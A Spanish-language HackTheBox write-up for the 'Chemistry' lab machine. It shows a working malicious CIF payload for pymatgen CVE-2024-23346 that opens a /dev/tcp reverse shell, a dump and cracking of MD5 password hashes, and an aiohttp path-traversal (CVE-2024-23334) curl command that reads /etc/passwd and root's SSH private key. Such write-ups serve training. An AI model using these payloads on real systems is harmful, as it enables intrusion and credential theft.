> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/hackthebox/easy-machines/chemistry.md).

# Chemistry

### **Dificultad**

* Fácil

### Habilidades aprendidas

* Python Deserialization&#x20;
* Attack Arbitrary File Read&#x20;
* Password Cracking

### Descripción

**Chemistry** es una máquina de dificultad fácil en Linux que muestra una vulnerabilidad de **Ejecución Remota de Código (RCE)** en la biblioteca de Python **pymatgen (CVE-2024-23346)** al cargar un archivo CIF malicioso en el sitio web del **CIF Analyzer** alojado en el objetivo. Después de descubrir y descifrar los hashes, autenticamos al objetivo a través de SSH como el usuario **rosa**. Para la escalada de privilegios, explotamos una vulnerabilidad de **Path Traversal** que conduce a una **lectura arbitraria de archivos** en una biblioteca de Python llamada **AioHTTP (CVE-2024-23334)**, la cual se usa en la aplicación web que se ejecuta internamente para leer el archivo raíz.

### Enumeración

Lanzamos un script creado en python (script hecho por s4vitar)  para que nos muestre a que sistema nos estamos enfrentando:

```bash
whichSystem.py -t 10.10.11.38

[+] 10.10.11.38 ttl -> 63 : Linux
```

Vemos que nos enfrentamos a un sistema Linux.

Hacemos un escaneo de todos los puertos para ver que puertos estan abiertos o no

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.38 -oG allPorts
```

```bash
extactPorts allPorts
```

Con la funcion extractPorts que tengo definida en mi zshrc podemos extraer los puertos guardados en el archivo "grepeable" allPorts

Ejemplo de lo que nos muestra por pantalla:

<figure><img src="/files/gqjoYORfc3Mk7GbbyhCf" alt=""><figcaption></figcaption></figure>

Vemos que hay abiertos el puerto 22 y el puerto 5000

Ahora con esto vamos hacer un escaneo con scripts de nmap para detectar las versiones de los puertos y caracteristicas, para obtener más información.

```bash
 nmap -p22,5000,5050 -sCV 10.10.11.38 -oN targeted
```

Info:

```
PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open   upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
```

Vemos que la versión de OpenSSH es mayor a la versión 7.7 con lo cual no podemos tirar de un exploit para enumerar posibles usuarios

```bash
searchsploit openssh | grep -i enum
OpenSSH 2.3 < 7.7 - Username Enumeration                  | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)            | linux/remote/45210.py
OpenSSH 7.2p2 - Username Enumeration                      | linux/remote/40136.py
OpenSSH < 7.7 - User Enumeration (2)                      | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration                     | linux/remote/40113.txt
```

Si buscamos en internet "launch pad OpenSSH 8.2p1 Ubuntu 4ubuntu0.11", podremos obtener información sobre el tipo de codename / versión de ubuntu nos estamos enfrentando

<figure><img src="/files/QKWarLTUw2VMhki3ig3B" alt=""><figcaption><p>Ubuntu Focal</p></figcaption></figure>

Hemos visto que el servidor tiene el puerto 5000 abierto que corresponde a un sitio web creado con python

***

### Exploración del sitio web

A primera vista podemos observar un panel de autenticación

<figure><img src="/files/BpFm9aCPOknbxI0fmzME" alt=""><figcaption></figcaption></figure>

Vamos a registrarnos con un usuario de prueba

<figure><img src="/files/NM4u4444c9nuQY2Cz7dc" alt=""><figcaption></figcaption></figure>

Al loguearnos podemos observar que podemos cargar ficheros CIF.

<figure><img src="/files/YHkW5IHufbORl5JfjrYD" alt=""><figcaption></figcaption></figure>

De hecho la propia página web, como podemos ver, nos indica que podemos ver un fichero de prueba

<figure><img src="/files/GTvSCNK2LHrBBRYNQ7gn" alt=""><figcaption></figcaption></figure>

1. Nos lo descargamos
2. Cargamos
3. Lo subimos
4. Lo visualizamos

Información fichero prueba

<figure><img src="/files/x0zeqMd2vjW12qeDszk3" alt=""><figcaption></figcaption></figure>

***

### Explotación sitio web (CVE-2024-23346)

Sabiendo que se pueden introducir ficheros CIF buscamos por internet lo siguiente: "malicious cif exploit"

Y encontramos esto: <https://github.com/advisories/GHSA-vgv8-5cpj-qj2f>

<figure><img src="/files/qONJb1UBZO8WmNLk9drj" alt=""><figcaption></figcaption></figure>

Gracias a este recurso, lo que hacemos es crearnos el fichero vuln.cif con el contenido que nos indica y lo subimos al sitio web

Yo por mi parte, antes de subirlo al sitio web he retocado el código de esta manera para ver si me muestra por pantalla el usuario en question

En la parte de system("touch pwned") pongo esto para ver si funciona -> system("ping -c 1 10.10.14.167") la IP corresponde a mi IP

El fichero quedaría algo tal que así

```
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("ping -c 1 10.10.14.167");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

```

Entonces subimos el fichero al sitio web y nos ponemos en escucha con tcpdump captando paquetes icmp

```
tcpdump -i tun0 icmp
```

Le damos a view en fichero cargado en el sitio web

Y veremos que nos muestra esto por pantalla en la terminal

```
tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:02:31.637192 IP 10.10.11.38 > 10.10.14.167: ICMP echo request, id 2, seq 1, length 64
00:02:31.637219 IP 10.10.14.167 > 10.10.11.38: ICMP echo reply, id 2, seq 1, length 64
```

Al mostrarnos un mensaje podemos comprobar que efectivamente estamos pudiendo ejecutar código

Sabiendo esto, nos vamos a entablar una reverse shell para entrar dentro de la máquina.

Código final:

```bash
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'/bin/bash -i >& /dev/tcp/10.10.14.167/443 0>&1\'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

Cargamos el nuevo fichero en el sitio web y nos ponemos en escucha con NetCat por el puerto 443 antes de darle a view

```bash
nc -nlvp 443
```

Le damos a view y podremos comprobar que en nuestra terminal nos acaba de llegar una maravillosa terminal

<figure><img src="/files/qI3PtcHTGYaPrvfT7Pr4" alt=""><figcaption></figcaption></figure>

### Tratamiento TTY

```bash
app@chemistry:~$ script -c /dev/null bash
ctrl+z

$ stty raw -echo; fg
    reset xterm
app@chemistry:~$ export TERM=xterm
app@chemistry:~$ export SHELL=/bin/bash

# miramos size de nuestra terminal
$ stty size
44 184

app@chemistry:~$ stty rows 44 columns 184


```

### Escalado de privilegios

Al ejecutar el comando <kbd>ps auxf | grep app</kbd>, podemos observar que el usuario está ejecutando el archivo app.py:

```bash

app         1071  0.0  5.2 1306148 104528 ?      Ssl  19:39   0:04 /usr/bin/python3.9 /home/app/app.py

```

Al inspeccionar el contenido de este archivo, podemos identificar configuraciones clave, como la base de datos que utiliza el sitio web y la secret key de la aplicación:

```
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}

```

El archivo **app.py** está configurado para utilizar una base de datos SQLite almacenada en el archivo **database.db**. A continuación, buscamos este archivo en el directorio del usuario:

```
app@chemistry:~$ find . -name database.db 2>/dev/null
./instance/database.db
```

Hemos localizado el archivo **database.db** en la ruta **./instance/database.db**. Ahora, podemos acceder a la base de datos SQLite utilizando el siguiente comando:

```
sqlite3 ./instance/database.db
```

Para visualizar las tablas disponibles en la base de datos, ejecutamos el siguiente comando:

```
sqlite> .tables
structure  user     
sqlite> 
```

Y posteriormente, al descubrir que existe la tabla de **user**, podemos mostrar su contenido utilizando el comando SELECT:

```
SELECT * FROM user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|c4r0nte|e0e25ceb6f298a416f325c728ef17572
16|vyycx|75fdcc3052041f2e1aa0802fc208d37a
17|test|098f6bcd4621d373cade4e832627b4f6
18|adok|3fde6bb0541387e4ebdadf7c2ff31123
19|aaa|9e24115f4a053cda9748b849c260749b
20|test1|16d7a4fca7442dda3ad93c9a726597e4
```

Este contenido lo enviamos al fichero usuarios.txt y sacamos el tercer argumento tomando como delimitador el pipe (|) para así posteriormente intentar crackear los hashes gracias a este sitio web:\
<https://crackstation.net/>

```bash
awk '{print $3}' FS='|' usuarios.txt
```

En el sitio web nos muestra esto:

<figure><img src="/files/RkkuENPTj4qVvpIuxPao" alt=""><figcaption></figcaption></figure>

Con lo qual podemos ver que  el sitio web ha logrado crackear algunas de las contraseñas.

Viendo que hay muchos usuarios, he creado un pequeño script en bash que recibe una lista de usuarios y verifica si cada uno de ellos está presente en el archivo **/etc/passwd,** para así automatizar esta parte.

Comparto con vosotros el script y la ejecución

```bash
#!/bin/bash
# Autor: Wolder
# Fecha:  08/03/2025
#
# Descripción:  Script que recibe como argumento una lista de usuarios y verifica
#               si cada uno de ellos esta presente en el archivo /etc/passwd
#
# Uso: script.sh listaUsuarios.txt


# COLORES 

greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"

file=$1
contador=0
usuarios=("")

# Validación de argumentos
if [ "$#" -ne 1 ]; then
  echo -e "\n${grayColour}[${endColour}${redColour}!${endColour}${grayColour}]${endColour} ${redColour}Error${endColour}${grayColour} : Número de argumentos incorrecto.${endColour}"
  echo -e "\n\t${grayColour}[${endColour}${greenColour}i${endColour}${grayColour}] Uso:${endColour}${yellowColour} $0${endColour} ${blueColour}archivoConListaDeUsuarios${endColour}\n"
  echo -e "\t\t${grayColour}Ejemplo de como debería ser el fichero:${endColour}\n"
  echo -e "\t\t${greenColour}cat${endColour}${yellowColour} usuarios.txt${endColour}\n\t\t\t${blueColour}usuario1\n\t\t\tusuario2\n\t\t\tusuario3${endColour}\n"
  exit 1
fi

# Bucle iterando por cada usuario del fichero
for user in $(cat $file);do 
  
  if grep -q "^$user" /etc/passwd ; then
    usuarios+=("$user")
    ((contador=contador+1))
  fi
done

echo -e "\n${grayColour}Número total de usuarios encontrados en${grayColour} ${greenColour}/etc/passwd${endcolour} -> ${blueColour}[$contador]${endColour}"
echo -e "\n\t\t${grayColour}[${endColour}${greenColour}i${endColour}${grayColour}] Lista de usuarios:${endColour}"

# Bucle iterando por cada usuario encontrado en el fichero /etc/passwd

for user in ${usuarios[@]};do 
  echo -e "\n\t\t\t- ${yellowColour}$user${endColour}"
  echo -e "\n\t\t\t\t${grayColour}[${endColour}${greenColour}i${endColour}${gratColour}]${endColour} ${blueColour}$(grep "^$user" /etc/passwd)${endColour}"
done
```

```
# Ejemplo salida
```

<figure><img src="/files/vJVKWiKZpk9yCyEWjIUf" alt=""><figcaption></figcaption></figure>

Con esto nos hemos ahorrado ir grepeando todos los usuarios de la lista para ver quienes existen en el sistema.

Vemos que el password del usuario rosa es el password unicorniosrosados craqueado en anterioridad.

Con lo cual nos conectamos con el usuario rosa usando la constraseña **unicorniosrosados**

```bash
su - rosa
Password: 

rosa@chemistry:~$ whoami
rosa
```

Aquí ya podemos ver que hemos obtenido la primera flag del usuario.

<figure><img src="/files/7kfxaVGQWO9N0WvaxfvJ" alt=""><figcaption></figcaption></figure>

Ahora vamos a por la de root!!

Listamos los puertos activos en el sistema:

```bash
rosa@chemistry:~$ netstat -ntlep
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1001       38151      3506/-bash          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      0          38150      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        37145      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          38053      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      0          38055      - 
```

Si observamos los puertos abiertos desde la sesión SSH, vemos que el puerto 8080 está abierto internamente en el host local.&#x20;

Reenviamos ese puerto con SSH para poder acceder a él desde nuestra máquina local. (Port Forwarding)

Esto lo hacemos con este comando

```
ssh -L 8080:127.0.0.1:8080 -N -vv rosa@10.10.11.38 
```

Si entramos al sitio web nos muestra una serie de graficas

<figure><img src="/files/ahJkiN4KTpl9cTO0qSFw" alt=""><figcaption></figcaption></figure>

Con whatweb miramos a que nos estamos enfrentando

```bash
whatweb localhost:8080
http://localhost:8080 [200 OK] HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[::1], JQuery[3.6.0], Script, Title[Site Monitoring]
```

Vemos que es un servidor web ( Python/3.9 aiohttp/3.9.1 )

Buscamos por internet posibles vulnerabilidades a este servicio y encontramos este recurso -> <https://github.com/z3rObyte/CVE-2024-23334-PoC>

```markdown
# CVE-2024-23334-PoC
A proof of concept of the path traversal 
vulnerability in the python AioHTTP library =< 3.9.1
```

Nos indica que las versiones aiohttp inferiores o iguales a la 3.9.1 tienen una vulnerabilidad de path traversal.

Esta vulnerabilidad permite a un atacante acceder a archivos fuera del directorio raíz del servidor web mediante manipulaciones de las rutas de archivo.

Con lo cual ejecutamos lo siguiente para ver si podemos detectar o encontrar una posible ruta dentro de localhost:8080 para poder abusar de esta vulnerabilidad tal y como nos enseña el exploit.sh en (payload)

```bash
curl localhost:8080
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Site Monitoring</title>
    <link rel="stylesheet" href="/assets/css/all.min.css">
    <script src="/assets/js/jquery-3.6.0.min.js"></script>
    <script src="/assets/js/chart.js"></script>
    <link rel="stylesheet" href="/assets/css/style.css">
    <style>
    h2 {
      color: black;
      font-style: italic;
    }
```

Al ejecutar este comando, observamos que existe un recurso llamado <kbd>/assets</kbd>. Aprovecharemos esta vulnerabilidad para comprobar si es posible visualizar el contenido del archivo <kbd>/etc/passwd</kbd>

```
curl -s -X GET --path-as-is "http://localhost:8080/assets/../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

A partir de aquí, podríamos intentar acceder al archivo `/etc/shadow` y utilizar herramientas como *John the Ripper* para descifrar las contraseñas. Sin embargo, esto no es necesario, ya que hemos encontrado que el usuario `root` tiene un archivo de clave privada en su directorio `.ssh`.

Copiamos la clave privada y la utilizamos para acceder al sistema, obteniendo así el control total.

```bash
curl -s -X GET --path-as-is "http://localhost:8080/assets/../../../../../../../root/.ssh/id_rsa"
```

Todo el  churro de la clave privada nos lo enviamos a /tmp/id\_rsa recomiendo hacerlo con nvim o editor de texto para evitar problemas, tipo hacemos un copy & paste y luego nos autenticamos como el usuario root a la máquina victima y wala , ya estaremos dentro:

```bash
ssh -i id_rsa root@10.10.11.38
```

<figure><img src="/files/L7PtEi0rf8DV6mrJYJLD" alt=""><figcaption></figcaption></figure>
